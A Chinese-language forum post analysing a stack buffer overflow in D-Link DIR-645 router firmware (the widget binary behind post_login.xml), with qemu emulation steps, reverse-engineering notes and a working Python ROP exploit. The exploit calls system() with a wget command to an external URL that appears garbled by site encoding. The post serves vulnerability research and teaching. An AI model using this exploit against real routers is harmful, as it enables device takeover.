首页
社区
课程
招聘
[原创]D-Link DIR-645 post_login.xml BoF
发表于: 2018-5-19 11:09 4427

[原创]D-Link DIR-645 post_login.xml BoF

2018-5-19 11:09
4427

0x00 背景

在看《揭秘家用路由器0day漏洞挖掘技术》这本书时,头两个讲了D-Link DIR-815和DIR-645的漏洞,在看exploit-db上相关利用时,可以发现公告中还有一个DIR-645 post_login.xml的栈溢出漏洞,本文就稍作分析利用漏洞点:

 

0x01 搭建环境

  • 操作系统:Kali 2017.2
  • 交叉编译:gcc-multilib-mips-linux-gnu、gcc-multilib-mipsel-linux-gnu、gcc-multilib-mips64-linux-gnuabi64、gcc-multilib-mips64el-linux-gnuabi64
  • 仿真环境:qemu-user-static、qemu-system-mips
  • 固件下载:台湾官网DIR645A1_FW103B11.zip
  • binwalk依赖sasquatch

安装sasquatch时会出现./build.sh failed on Kali问题,但issue中也有解决方案,binwalk解得固件和书中相同:

 

0x02 漏洞原理

首先看看post_login.xml的认证原理:

 

 

大意就是,接收GET请求传递的hash值并写入/var/run/hash文件,获取内部password写入/var/run/password,通过/runtime/widgetv2/logincheck决定login是否ok。公告中与此联系的binary是/usr/sbin/widget,file后直接IDA打开:

 

 

程序比较小,使用getopt函数处理参数选项,switch跳转执行不同功能,使用qemu模拟执行也可以知道其大致功能:

 

 

简单的逆向分析后可知-a选项可使得$s0=1进而转入00400C60的逻辑,00400C80调用的函数接收两个参数,一个是之前写入的/var/run/hash文件,一个是栈上的地址0x3A8+var_128,自然联想这里可能是将我们传入的hash值copy至栈上,而且没有做长度限制就导致了栈溢出:

 

 

跟进函数,内部open文件后,根据文件的size直接read至栈上,很明显的栈溢出了:

 

 

有一个小细节是程序调用了两次widget_fread函数,第二次接收的文件应该是之前生成的文件/var/run/password,当后面在简单复现时需要生成该文件,不然在widget_fread中会因无法打开文件直接exit:

 

0x03 漏洞利用

从var_128处开始溢出,$ra保存在var_4处,所以292字节后即可覆盖$ra,和公告描述一致,这里我人工打入hash、password两个文件,然后用qemu模拟调试执行:

mkdir -p ./var/run
python -c 'print "A"*292+"BBBB"' | tr -d '\n' > ./var/run/hash
python -c 'print "C"*32' | tr -d '\n' > ./var/run/password
cp $(which qemu-mipsel-static) .
chroot . ./qemu-mipsel-static -g 4444 /usr/sbin/widget -a /var/run/password
rm ./qemu-mipsel-static
rm -fr ./var/run

F4运行至跳转$ra处,可以看到$s0~$s7、$fp、$ra都是可以被我们控制的:

 

 

我们默认这里是没有开启ASLR的,对于libuClibc基址的获取,可以在IDA运行至la $t9, memset指令,查看对应寄存器减去偏移就好,在qemu-mipsel-static下获取的基址为0x7f738000,rop链也是在书中提到过的:

 

 

转化为代码如下:

import struct

def p32(i):
    return struct.pack('<I', i)

qemu_libc = 0x7f738000
# qemu_sys_libc = 0x77f34000
# router_libc = 0x2aaf8000
system = 0x00053200
calc_system = 0x000158C8
call_system = 0x000159CC

shellcode = "A" * 0x100 # padding
shellcode += p32(qemu_libc+system-1) # $s0
shellcode += "A" * 0x10 # $s1 ~ $s4
shellcode += p32(qemu_libc+call_system) # $s5
shellcode += "A" * 0x0c # $s6 $s7 $fp
shellcode += p32(qemu_libc+calc_system) # $ra
shellcode += "A" * 0x10 # padding
shellcode += "wget f8dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0b7@1y4o6b7`." # cmd

print shellcode

本地exploit的效果如下:

 

0x04 Qemu模拟

出于好奇,也想通过qemu搭建一个mipsel架构的system,在系统上试一下本地利用。首先是下载对应的镜像,就可以起一个系统了:

qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"

其次面临的问题是传文件至guest,根据官方wiki,我们可以在启动系统时使用端口转发,把guest的22端口转发至host的任意端口,然后就可以scp了:

-device e1000,netdev=net0
-netdev user,id=net0,hostfwd=tcp::5555-:22

ssh localhost -p 5555

其实qemu起的系统默认网络走的是nat,而且无法使用ping来测试网络,但是可以通过ip 10.0.2.2来访问到host,所以在host端起个SimpleHTTPServer,在guest端wget也是可以传文件的。如果你就是想桥接tap0,可以参看Setting up Qemu with a tap interface

 

最后的问题就是调试和基址了,下载静态编译好的gdbserver,使用启动系统时的端口转发,就可以在host上调试guest里面的程序了:

 

0x05 相关参考


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回